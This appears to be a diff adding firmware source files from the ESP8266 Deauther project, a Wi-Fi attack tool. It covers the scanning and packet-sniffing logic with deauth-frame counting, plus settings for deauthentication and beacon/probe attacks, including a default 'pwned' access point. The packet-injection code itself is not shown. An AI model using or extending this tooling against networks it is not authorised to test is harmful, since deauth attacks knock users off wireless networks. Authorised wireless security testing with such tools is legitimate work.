// restart scan if it is continuous
|
||||
if (scan_continue_mode != SCAN_MODE_OFF) {
|
||||
if (currentTime - continueStartTime > continueTime) start(scan_continue_mode);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
// sniffer
|
||||
if (isSniffing()) {
|
||||
// update packet list every 1s
|
||||
if (currentTime - snifferPacketTime > 1000) {
|
||||
snifferPacketTime = currentTime;
|
||||
list->add(packets);
|
||||
|
||||
if (list->size() > SCAN_PACKET_LIST_SIZE) list->remove(0);
|
||||
deauths = tmpDeauths;
|
||||
tmpDeauths = 0;
|
||||
packets = 0;
|
||||
}
|
||||
|
||||
// print status every 3s
|
||||
if (currentTime - snifferOutputTime > 3000) {
|
||||
char s[100];
|
||||
|
||||
if (sniffTime > 0) {
|
||||
sprintf(s, str(SC_OUTPUT_A).c_str(), getPercentage(), packets, stations.count(), deauths);
|
||||
} else {
|
||||
sprintf(s, str(SC_OUTPUT_B).c_str(), packets, stations.count(), deauths);
|
||||
}
|
||||
prnt(String(s));
|
||||
snifferOutputTime = currentTime;
|
||||
}
|
||||
|
||||
// channel hopping
|
||||
if (channelHop && (currentTime - snifferChannelTime > settings.getChTime())) {
|
||||
snifferChannelTime = currentTime;
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) nextChannel(); // go to next channel an AP is on
|
||||
else setChannel(wifi_channel + 1); // go to next channel
|
||||
}
|
||||
}
|
||||
|
||||
// APs
|
||||
if ((scanMode == SCAN_MODE_APS) || (scanMode == SCAN_MODE_ALL)) {
|
||||
int16_t results = WiFi.scanComplete();
|
||||
|
||||
if (results >= 0) {
|
||||
for (int16_t i = 0; i < results && i < 256; i++) {
|
||||
if (channelHop || (WiFi.channel(i) == wifi_channel)) accesspoints.add(i, false);
|
||||
}
|
||||
accesspoints.sort();
|
||||
accesspoints.printAll();
|
||||
|
||||
if (scanMode == SCAN_MODE_ALL) {
|
||||
delay(30);
|
||||
start(SCAN_MODE_STATIONS);
|
||||
}
|
||||
else start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((sniffTime > 0) && (currentTime > snifferStartTime + sniffTime)) {
|
||||
wifi_promiscuous_enable(false);
|
||||
|
||||
if (scanMode == SCAN_MODE_STATIONS) {
|
||||
stations.sort();
|
||||
stations.printAll();
|
||||
}
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
}
|
||||
|
||||
void Scan::setup() {
|
||||
save(true);
|
||||
}
|
||||
|
||||
void Scan::stop() {
|
||||
scan_continue_mode = SCAN_MODE_OFF;
|
||||
start(SCAN_MODE_OFF);
|
||||
}
|
||||
|
||||
void Scan::setChannel(uint8_t ch) {
|
||||
if (ch > 14) ch = 1;
|
||||
else if (ch < 1) ch = 14;
|
||||
|
||||
wifi_promiscuous_enable(0);
|
||||
setWifiChannel(ch);
|
||||
wifi_promiscuous_enable(1);
|
||||
}
|
||||
|
||||
void Scan::nextChannel() {
|
||||
if (accesspoints.count() > 1) {
|
||||
uint8_t ch = wifi_channel;
|
||||
|
||||
do {
|
||||
ch++;
|
||||
|
||||
if (ch > 14) ch = 1;
|
||||
} while (!apWithChannel(ch));
|
||||
setChannel(ch);
|
||||
}
|
||||
}
|
||||
|
||||
bool Scan::apWithChannel(uint8_t ch) {
|
||||
for (int i = 0; i < accesspoints.count(); i++)
|
||||
if (accesspoints.getCh(i) == ch) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
void Scan::save(bool force, String filePath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filePath;
|
||||
save(true);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Scan::save(bool force) {
|
||||
if (!(accesspoints.changed || stations.changed) && !force) return;
|
||||
|
||||
// Accesspoints
|
||||
String buf = String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SC_JSON_APS) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + String(OPEN_BRACKET); // {"aps":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) { // overwrite old file
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
uint32_t apCount = accesspoints.count();
|
||||
|
||||
for (uint32_t i = 0; i < apCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + escape(accesspoints.getSSID(i)) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["ssid",
|
||||
buf += String(DOUBLEQUOTES) + escape(accesspoints.getNameStr(i)) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(accesspoints.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(accesspoints.getRSSI(i)) + String(COMMA); // -30,
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getEncStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "wpa2",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + accesspoints.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += b2s(accesspoints.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < apCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
// Stations
|
||||
buf += String(CLOSE_BRACKET) + String(COMMA) + String(DOUBLEQUOTES) + str(SC_JSON_STATIONS) + String(DOUBLEQUOTES) +
|
||||
String(DOUBLEPOINT) + String(OPEN_BRACKET); // ],"stations":[;
|
||||
uint32_t stationCount = stations.count();
|
||||
|
||||
for (uint32_t i = 0; i < stationCount; i++) {
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + stations.getMacStr(i) + String(DOUBLEQUOTES) +
|
||||
String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(stations.getCh(i)) + String(COMMA); // 1,
|
||||
buf += String(DOUBLEQUOTES) + stations.getNameStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + stations.getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += String(*stations.getPkts(i)) + String(COMMA); // 123,
|
||||
buf += String(stations.getAP(i)) + String(COMMA); // 0,
|
||||
buf += String(DOUBLEQUOTES) + stations.getTimeStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "<1min",
|
||||
buf += b2s(stations.getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < stationCount - 1) buf += String(COMMA); // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
accesspoints.changed = false;
|
||||
stations.changed = false;
|
||||
prnt(SC_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
uint32_t Scan::countSelected() {
|
||||
return accesspoints.selected() + stations.selected() + names.selected();
|
||||
}
|
||||
|
||||
uint32_t Scan::countAll() {
|
||||
return accesspoints.count() + stations.count() + names.count();
|
||||
}
|
||||
|
||||
bool Scan::isScanning() {
|
||||
return scanMode != SCAN_MODE_OFF;
|
||||
}
|
||||
|
||||
bool Scan::isSniffing() {
|
||||
return scanMode == SCAN_MODE_STATIONS || scanMode == SCAN_MODE_SNIFFER;
|
||||
}
|
||||
|
||||
uint8_t Scan::getPercentage() {
|
||||
if (!isSniffing()) return 0;
|
||||
|
||||
return (currentTime - snifferStartTime) / (sniffTime / 100);
|
||||
}
|
||||
|
||||
void Scan::selectAll() {
|
||||
accesspoints.selectAll();
|
||||
stations.selectAll();
|
||||
names.selectAll();
|
||||
}
|
||||
|
||||
void Scan::deselectAll() {
|
||||
accesspoints.deselectAll();
|
||||
stations.deselectAll();
|
||||
names.deselectAll();
|
||||
}
|
||||
|
||||
void Scan::printAll() {
|
||||
accesspoints.printAll();
|
||||
stations.printAll();
|
||||
names.printAll();
|
||||
ssids.printAll();
|
||||
}
|
||||
|
||||
void Scan::printSelected() {
|
||||
accesspoints.printSelected();
|
||||
stations.printSelected();
|
||||
names.printSelected();
|
||||
}
|
||||
|
||||
uint32_t Scan::getPackets(int i) {
|
||||
if (list->size() < SCAN_PACKET_LIST_SIZE) {
|
||||
uint8_t translatedNum = SCAN_PACKET_LIST_SIZE - list->size();
|
||||
|
||||
if (i >= translatedNum) return list->get(i - translatedNum);
|
||||
|
||||
return 0;
|
||||
} else {
|
||||
return list->get(i);
|
||||
}
|
||||
}
|
||||
|
||||
String Scan::getMode() {
|
||||
switch (scanMode) {
|
||||
case SCAN_MODE_OFF:
|
||||
return str(SC_MODE_OFF);
|
||||
|
||||
case SCAN_MODE_APS:
|
||||
return str(SC_MODE_AP);
|
||||
|
||||
case SCAN_MODE_STATIONS:
|
||||
return str(SC_MODE_ST);
|
||||
|
||||
case SCAN_MODE_ALL:
|
||||
return str(SC_MODE_ALL);
|
||||
|
||||
case SCAN_MODE_SNIFFER:
|
||||
return str(SC_MODE_SNIFFER);
|
||||
|
||||
default:
|
||||
return String();
|
||||
}
|
||||
}
|
||||
|
||||
double Scan::getScaleFactor(uint8_t height) {
|
||||
return (double)height / (double)getMaxPacket();
|
||||
}
|
||||
|
||||
uint32_t Scan::getMaxPacket() {
|
||||
uint16_t max = 0;
|
||||
|
||||
for (uint8_t i = 0; i < list->size(); i++) {
|
||||
if (list->get(i) > max) max = list->get(i);
|
||||
}
|
||||
return max;
|
||||
}
|
||||
|
||||
uint32_t Scan::getPacketRate() {
|
||||
return list->get(list->size() - 1);
|
||||
}
|
||||
98
enp8266/esp8266_deauther-master/esp8266_deauther/Scan.h
Executable file
98
enp8266/esp8266_deauther-master/esp8266_deauther/Scan.h
Executable file
@@ -0,0 +1,98 @@
|
||||
#ifndef Scan_h
|
||||
#define Scan_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "Accesspoints.h"
|
||||
#include "Stations.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Settings.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
|
||||
#define SCAN_MODE_OFF 0
|
||||
#define SCAN_MODE_APS 1
|
||||
#define SCAN_MODE_STATIONS 2
|
||||
#define SCAN_MODE_ALL 3
|
||||
#define SCAN_MODE_SNIFFER 4
|
||||
#define SCAN_DEFAULT_TIME 15000
|
||||
#define SCAN_DEFAULT_CONTINUE_TIME 10000
|
||||
#define SCAN_PACKET_LIST_SIZE 64
|
||||
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Settings settings;
|
||||
extern uint8_t wifiMode;
|
||||
|
||||
extern void setWifiChannel(uint8_t ch);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void readFileToSerial(const String path);
|
||||
extern void resumeAP();
|
||||
extern void stopAP();
|
||||
extern String escape(String str);
|
||||
|
||||
class Scan {
|
||||
public:
|
||||
Scan();
|
||||
|
||||
void sniffer(uint8_t* buf, uint16_t len);
|
||||
void start(uint8_t mode, uint32_t time, uint8_t nextmode, uint32_t continueTime, bool channelHop, uint8_t channel);
|
||||
void start(uint8_t mode);
|
||||
|
||||
void setup();
|
||||
void update();
|
||||
void stop();
|
||||
void save(bool force);
|
||||
void save(bool force, String filePath);
|
||||
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void printAll();
|
||||
void printSelected();
|
||||
|
||||
uint8_t getPercentage();
|
||||
uint32_t getPackets(int i);
|
||||
uint32_t countAll();
|
||||
uint32_t countSelected();
|
||||
bool isScanning();
|
||||
bool isSniffing();
|
||||
|
||||
void nextChannel();
|
||||
void setChannel(uint8_t newChannel);
|
||||
|
||||
String getMode();
|
||||
double getScaleFactor(uint8_t height);
|
||||
uint32_t getMaxPacket();
|
||||
uint32_t getPacketRate();
|
||||
|
||||
uint16_t deauths = 0;
|
||||
uint16_t packets = 0;
|
||||
|
||||
private:
|
||||
SimpleList<uint16_t>* list; // packet list
|
||||
|
||||
uint32_t sniffTime = SCAN_DEFAULT_TIME; // how long the scan runs
|
||||
uint32_t snifferStartTime = 0; // when the scan started
|
||||
uint32_t snifferOutputTime = 0; // last info output (every 3s)
|
||||
uint32_t snifferChannelTime = 0; // last time the channel was changed
|
||||
uint32_t snifferPacketTime = 0; // last time the packet rate was reseted (every 1s)
|
||||
|
||||
uint8_t scanMode = 0;
|
||||
|
||||
uint8_t scan_continue_mode = 0; // restart mode after scan stopped
|
||||
uint32_t continueTime = SCAN_DEFAULT_CONTINUE_TIME; // time in ms to wait until scan restarts
|
||||
uint32_t continueStartTime = 0; // when scan restarted
|
||||
|
||||
bool channelHop = true;
|
||||
uint16_t tmpDeauths = 0;
|
||||
|
||||
bool apWithChannel(uint8_t ch);
|
||||
int findAccesspoint(uint8_t* mac);
|
||||
|
||||
String FILE_PATH = "/scan.json";
|
||||
};
|
||||
|
||||
#endif // ifndef Scan_h
|
||||
614
enp8266/esp8266_deauther-master/esp8266_deauther/Settings.cpp
Executable file
614
enp8266/esp8266_deauther-master/esp8266_deauther/Settings.cpp
Executable file
@@ -0,0 +1,614 @@
|
||||
#include "Settings.h"
|
||||
|
||||
Settings::Settings() {
|
||||
macSt = (uint8_t*)malloc(6);
|
||||
macAP = (uint8_t*)malloc(6);
|
||||
}
|
||||
|
||||
void Settings::load() {
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
// check & read file
|
||||
String json = getJsonStr();
|
||||
|
||||
checkFile(FILE_PATH, json);
|
||||
JsonObject& data = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
|
||||
// VERSION
|
||||
version = data.get<String>("version");
|
||||
|
||||
// AP
|
||||
if (data.containsKey(keyword(S_SSID))) setSSID(data.get<String>(keyword(S_SSID)));
|
||||
if (data.containsKey(keyword(S_PASSWORD))) setPassword(data.get<String>(keyword(S_PASSWORD)));
|
||||
if (data.containsKey(keyword(S_CHANNEL))) setChannel(data.get<uint8_t>(keyword(S_CHANNEL)));
|
||||
if (data.containsKey(keyword(S_HIDDEN))) setHidden(data.get<bool>(keyword(S_HIDDEN)));
|
||||
if (data.containsKey(keyword(S_CAPTIVEPORTAL))) setCaptivePortal(data.get<bool>(keyword(S_CAPTIVEPORTAL)));
|
||||
|
||||
// GENERAL
|
||||
if (data.containsKey(keyword(S_LANG))) setLang(data.get<String>(keyword(S_LANG)));
|
||||
if (data.containsKey(keyword(S_DISPLAYINTERFACE))) setDisplayInterface(data.get<bool>(keyword(S_DISPLAYINTERFACE)));
|
||||
if (data.containsKey(keyword(S_DISPLAY_TIMEOUT))) setDisplayTimeout(data.get<uint32_t>(keyword(S_DISPLAY_TIMEOUT)));
|
||||
if (data.containsKey(keyword(S_SERIALINTERFACE))) setCLI(data.get<bool>(keyword(S_SERIALINTERFACE)));
|
||||
if (data.containsKey(keyword(S_SERIAL_ECHO))) setSerialEcho(data.get<bool>(keyword(S_SERIAL_ECHO)));
|
||||
if (data.containsKey(keyword(S_WEBINTERFACE))) setWebInterface(data.get<bool>(keyword(S_WEBINTERFACE)));
|
||||
if (data.containsKey(keyword(S_WEB_SPIFFS))) setWebSpiffs(data.get<bool>(keyword(S_WEB_SPIFFS)));
|
||||
if (data.containsKey(keyword(S_LEDENABLED))) setLedEnabled(data.get<bool>(keyword(S_LEDENABLED)));
|
||||
if (data.containsKey(keyword(S_MACAP))) setMacAP(data.get<String>(keyword(S_MACAP)));
|
||||
if (data.containsKey(keyword(S_MACST))) setMacSt(data.get<String>(keyword(S_MACST)));
|
||||
|
||||
// SCAN
|
||||
if (data.containsKey(keyword(S_CHTIME))) setChTime(data.get<uint16_t>(keyword(S_CHTIME)));
|
||||
if (data.containsKey(keyword(S_MIN_DEAUTHS))) setMinDeauths(data.get<uint16_t>(keyword(S_MIN_DEAUTHS)));
|
||||
|
||||
// ATTACK
|
||||
if (data.containsKey(keyword(S_ATTACKTIMEOUT))) setAttackTimeout(data.get<uint32_t>(keyword(S_ATTACKTIMEOUT)));
|
||||
if (data.containsKey(keyword(S_FORCEPACKETS))) setForcePackets(data.get<uint8_t>(keyword(S_FORCEPACKETS)));
|
||||
if (data.containsKey(keyword(S_DEAUTHSPERTARGET))) setDeauthsPerTarget(data.get<uint16_t>(keyword(
|
||||
S_DEAUTHSPERTARGET)));
|
||||
|
||||
if (data.containsKey(keyword(S_DEAUTHREASON))) setDeauthReason(data.get<uint8_t>(keyword(S_DEAUTHREASON)));
|
||||
if (data.containsKey(keyword(S_BEACONCHANNEL))) setBeaconChannel(data.get<bool>(keyword(S_BEACONCHANNEL)));
|
||||
if (data.containsKey(keyword(S_BEACONINTERVAL))) setBeaconInterval(data.get<bool>(keyword(S_BEACONINTERVAL)));
|
||||
if (data.containsKey(keyword(S_RANDOMTX))) setRandomTX(data.get<bool>(keyword(S_RANDOMTX)));
|
||||
if (data.containsKey(keyword(S_PROBESPERSSID))) setProbesPerSSID(data.get<uint8_t>(keyword(S_PROBESPERSSID)));
|
||||
|
||||
if (version != VERSION) {
|
||||
// reset();
|
||||
copyWebFiles(true);
|
||||
version = VERSION;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
prnt(S_SETTINGS_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
|
||||
// check and fix mac
|
||||
if (!macValid(macSt)) getRandomMac(macSt);
|
||||
|
||||
if (!macValid(macAP)) getRandomMac(macAP);
|
||||
|
||||
save(true); // force saving
|
||||
}
|
||||
|
||||
void Settings::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Settings::reset() {
|
||||
// VERSION
|
||||
version = VERSION;
|
||||
|
||||
// AP
|
||||
setSSID("pwned");
|
||||
setPassword("deauther");
|
||||
setChannel(9);
|
||||
setHidden(false);
|
||||
setCaptivePortal(true);
|
||||
|
||||
// GENERAL
|
||||
setLang("en");
|
||||
setAutosave(true);
|
||||
setAutosaveTime(10000);
|
||||
setDisplayInterface(USE_DISPLAY);
|
||||
setDisplayTimeout(600);
|
||||
setCLI(true);
|
||||
setSerialEcho(true);
|
||||
setWebInterface(true);
|
||||
setWebSpiffs(false);
|
||||
setLedEnabled(true);
|
||||
wifi_get_macaddr(STATION_IF, macSt);
|
||||
wifi_get_macaddr(SOFTAP_IF, macAP);
|
||||
|
||||
// SCAN
|
||||
setChTime(384);
|
||||
setMinDeauths(3);
|
||||
|
||||
// ATTACK
|
||||
setAttackTimeout(600);
|
||||
setForcePackets(3);
|
||||
setDeauthsPerTarget(20);
|
||||
setDeauthReason(1);
|
||||
setBeaconChannel(false);
|
||||
setBeaconInterval(false);
|
||||
setRandomTX(false);
|
||||
setProbesPerSSID(1);
|
||||
|
||||
prntln(S_SETTINGS_RESETED);
|
||||
}
|
||||
|
||||
String Settings::getJsonStr() {
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
JsonObject& data = jsonBuffer.createObject();
|
||||
|
||||
// Version
|
||||
data.set("version", VERSION);
|
||||
|
||||
// AP
|
||||
data.set(keyword(S_SSID), ssid);
|
||||
data.set(keyword(S_PASSWORD), password);
|
||||
data.set(keyword(S_CHANNEL), channel);
|
||||
data.set(keyword(S_HIDDEN), hidden);
|
||||
data.set(keyword(S_CAPTIVEPORTAL), captivePortal);
|
||||
|
||||
// GENERAL
|
||||
data.set(keyword(S_LANG), lang);
|
||||
data.set(keyword(S_AUTOSAVE), autosave);
|
||||
data.set(keyword(S_AUTOSAVETIME), autosaveTime);
|
||||
data.set(keyword(S_DISPLAYINTERFACE), displayInterface);
|
||||
data.set(keyword(S_DISPLAY_TIMEOUT), displayTimeout);
|
||||
data.set(keyword(S_SERIALINTERFACE), cli);
|
||||
data.set(keyword(S_SERIAL_ECHO), serialEcho);
|
||||
data.set(keyword(S_WEBINTERFACE), webInterface);
|
||||
data.set(keyword(S_WEB_SPIFFS), webSpiffs);
|
||||
data.set(keyword(S_LEDENABLED), ledEnabled);
|
||||
data.set(keyword(S_MACAP), macToStr(getMacAP()));
|
||||
data.set(keyword(S_MACST), macToStr(getMacSt()));
|
||||
|
||||
// SCAN
|
||||
data.set(keyword(S_CHTIME), chTime);
|
||||
data.set(keyword(S_MIN_DEAUTHS), minDeauths);
|
||||
|
||||
// ATTACK
|
||||
data.set(keyword(S_ATTACKTIMEOUT), attackTimeout);
|
||||
data.set(keyword(S_FORCEPACKETS), forcePackets);
|
||||
data.set(keyword(S_DEAUTHSPERTARGET), deauthsPerTarget);
|
||||
data.set(keyword(S_DEAUTHREASON), deauthReason);
|
||||
data.set(keyword(S_BEACONCHANNEL), beaconChannel);
|
||||
data.set(keyword(S_BEACONINTERVAL), beaconInterval);
|
||||
data.set(keyword(S_RANDOMTX), randomTX);
|
||||
data.set(keyword(S_PROBESPERSSID), probesPerSSID);
|
||||
|
||||
String buf;
|
||||
data.printTo(buf);
|
||||
|
||||
return buf;
|
||||
}
|
||||
|
||||
void Settings::save(bool force) {
|
||||
if (force || changed) {
|
||||
String buf = getJsonStr();
|
||||
|
||||
if (writeFile(FILE_PATH, buf)) {
|
||||
prnt(S_SETTINGS_SAVED);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
} else {
|
||||
prnt(F("ERROR: saving "));
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Settings::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Settings::print() {
|
||||
String settingsJson = getJsonStr();
|
||||
|
||||
settingsJson.replace("{", "{\r\n");
|
||||
settingsJson.replace("}", "\r\n}");
|
||||
settingsJson.replace(",", "\r\n");
|
||||
prntln(S_SETTINGS_HEADER);
|
||||
prntln(settingsJson);
|
||||
}
|
||||
|
||||
void Settings::set(const char* str, String value) {
|
||||
// booleans
|
||||
if (eqls(str, S_BEACONCHANNEL)) setBeaconChannel(s2b(value));
|
||||
else if (eqls(str, S_AUTOSAVE)) setAutosave(s2b(value));
|
||||
else if (eqls(str, S_BEACONINTERVAL)) setBeaconInterval(s2b(value));
|
||||
else if (eqls(str, S_SERIALINTERFACE)) setCLI(s2b(value));
|
||||
else if (eqls(str, S_DISPLAYINTERFACE)) setDisplayInterface(s2b(value));
|
||||
else if (eqls(str, S_WEBINTERFACE)) setWebInterface(s2b(value));
|
||||
else if (eqls(str, S_RANDOMTX)) setRandomTX(s2b(value));
|
||||
else if (eqls(str, S_LEDENABLED)) setLedEnabled(s2b(value));
|
||||
else if (eqls(str, S_HIDDEN)) setHidden(s2b(value));
|
||||
else if (eqls(str, S_CAPTIVEPORTAL)) setCaptivePortal(s2b(value));
|
||||
else if (eqls(str, S_SERIAL_ECHO)) setSerialEcho(s2b(value));
|
||||
else if (eqls(str, S_WEB_SPIFFS)) setWebSpiffs(s2b(value));
|
||||
|
||||
// integer
|
||||
else if (eqls(str, S_FORCEPACKETS)) setForcePackets(value.toInt());
|
||||
else if (eqls(str, S_AUTOSAVETIME)) setAutosaveTime(value.toInt());
|
||||
else if (eqls(str, S_DEAUTHSPERTARGET)) setDeauthsPerTarget(value.toInt());
|
||||
else if (eqls(str, S_CHTIME)) setChTime(value.toInt());
|
||||
else if (eqls(str, S_CHANNEL)) setChannel(value.toInt());
|
||||
else if (eqls(str, S_DEAUTHREASON)) setDeauthReason(value.toInt());
|
||||
else if (eqls(str, S_ATTACKTIMEOUT)) setAttackTimeout(value.toInt());
|
||||
else if (eqls(str, S_PROBESPERSSID)) setProbesPerSSID(value.toInt());
|
||||
else if (eqls(str, S_MIN_DEAUTHS)) setMinDeauths(value.toInt());
|
||||
else if (eqls(str, S_DISPLAY_TIMEOUT)) setDisplayTimeout(value.toInt());
|
||||
|
||||
// strings
|
||||
else if (eqls(str, S_LANG)) setLang(value);
|
||||
else if (eqls(str, S_SSID)) setSSID(value);
|
||||
else if (eqls(str, S_PASSWORD)) setPassword(value);
|
||||
else if (eqls(str, S_MACAP)) setMacAP(value);
|
||||
else if (eqls(str, S_MACST)) setMacSt(value);
|
||||
else if (eqls(str, S_MAC) && value.equalsIgnoreCase("random")) {
|
||||
setMacSt(value);
|
||||
setMacAP(value);
|
||||
}
|
||||
|
||||
else if (eqls(str, S_VERSION)) prntln(S_ERROR_VERSION);
|
||||
|
||||
else {
|
||||
prnt(S_ERROR_NOT_FOUND);
|
||||
prntln(str);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(S_CHANGED_SETTING);
|
||||
prntln(str);
|
||||
}
|
||||
|
||||
String Settings::get(const char* str) {
|
||||
if (eqls(str, S_SETTINGS)) print();
|
||||
// booleans
|
||||
else if (eqls(str, S_BEACONCHANNEL)) return b2s(beaconChannel);
|
||||
else if (eqls(str, S_AUTOSAVE)) return b2s(autosave);
|
||||
else if (eqls(str, S_BEACONINTERVAL)) return b2s(beaconInterval);
|
||||
else if (eqls(str, S_SERIALINTERFACE)) return b2s(cli);
|
||||
else if (eqls(str, S_DISPLAYINTERFACE)) return b2s(displayInterface);
|
||||
else if (eqls(str, S_WEBINTERFACE)) return b2s(webInterface);
|
||||
else if (eqls(str, S_RANDOMTX)) return b2s(randomTX);
|
||||
else if (eqls(str, S_LEDENABLED)) return b2s(ledEnabled);
|
||||
else if (eqls(str, S_HIDDEN)) return b2s(hidden);
|
||||
else if (eqls(str, S_CAPTIVEPORTAL)) return b2s(captivePortal);
|
||||
else if (eqls(str, S_SERIAL_ECHO)) return b2s(serialEcho);
|
||||
else if (eqls(str, S_WEB_SPIFFS)) return b2s(webSpiffs);
|
||||
|
||||
// integer
|
||||
else if (eqls(str, S_FORCEPACKETS)) return (String)forcePackets;
|
||||
else if (eqls(str, S_AUTOSAVETIME)) return (String)autosaveTime;
|
||||
else if (eqls(str, S_DEAUTHSPERTARGET)) return (String)deauthsPerTarget;
|
||||
else if (eqls(str, S_CHTIME)) return (String)chTime;
|
||||
else if (eqls(str, S_ATTACKTIMEOUT)) return (String)attackTimeout;
|
||||
else if (eqls(str, S_CHANNEL)) return (String)channel;
|
||||
else if (eqls(str, S_DEAUTHREASON)) return (String)deauthReason;
|
||||
else if (eqls(str, S_PROBESPERSSID)) return (String)probesPerSSID;
|
||||
else if (eqls(str, S_MIN_DEAUTHS)) return (String)minDeauths;
|
||||
else if (eqls(str, S_DISPLAY_TIMEOUT)) return (String)displayTimeout;
|
||||
|
||||
// strings
|
||||
else if (eqls(str, S_SSID)) return ssid;
|
||||
else if (eqls(str, S_LANG)) return lang;
|
||||
else if (eqls(str, S_PASSWORD)) return password;
|
||||
else if (eqls(str, S_MACAP)) return macToStr(getMacAP());
|
||||
else if (eqls(str, S_MACST)) return macToStr(getMacSt());
|
||||
else if (eqls(str, S_MAC)) return "AP: " + macToStr(macAP) + ", Station: " + macToStr(macSt);
|
||||
else if (eqls(str, S_VERSION)) return version;
|
||||
|
||||
else {
|
||||
prnt(S_ERROR_NOT_FOUND);
|
||||
prntln(str);
|
||||
}
|
||||
|
||||
return "";
|
||||
}
|
||||
|
||||
// ===== GETTERS ===== //
|
||||
String Settings::getVersion() {
|
||||
return version;
|
||||
}
|
||||
|
||||
uint16_t Settings::getDeauthsPerTarget() {
|
||||
return deauthsPerTarget;
|
||||
}
|
||||
|
||||
uint8_t Settings::getDeauthReason() {
|
||||
return deauthReason;
|
||||
}
|
||||
|
||||
bool Settings::getBeaconChannel() {
|
||||
return beaconChannel;
|
||||
}
|
||||
|
||||
uint8_t Settings::getForcePackets() {
|
||||
return forcePackets;
|
||||
}
|
||||
|
||||
bool Settings::getAutosave() {
|
||||
return autosave;
|
||||
}
|
||||
|
||||
uint32_t Settings::getAutosaveTime() {
|
||||
return autosaveTime;
|
||||
}
|
||||
|
||||
bool Settings::getBeaconInterval() {
|
||||
return beaconInterval;
|
||||
}
|
||||
|
||||
uint8_t Settings::getChannel() {
|
||||
return channel;
|
||||
}
|
||||
|
||||
String Settings::getSSID() {
|
||||
return ssid;
|
||||
}
|
||||
|
||||
String Settings::getPassword() {
|
||||
return password;
|
||||
}
|
||||
|
||||
bool Settings::getCLI() {
|
||||
return cli;
|
||||
}
|
||||
|
||||
bool Settings::getDisplayInterface() {
|
||||
return displayInterface;
|
||||
}
|
||||
|
||||
bool Settings::getWebInterface() {
|
||||
return webInterface;
|
||||
}
|
||||
|
||||
uint16_t Settings::getChTime() {
|
||||
return chTime;
|
||||
}
|
||||
|
||||
uint8_t* Settings::getMacSt() {
|
||||
return macSt;
|
||||
}
|
||||
|
||||
uint8_t* Settings::getMacAP() {
|
||||
return macAP;
|
||||
}
|
||||
|
||||
bool Settings::getRandomTX() {
|
||||
return randomTX;
|
||||
}
|
||||
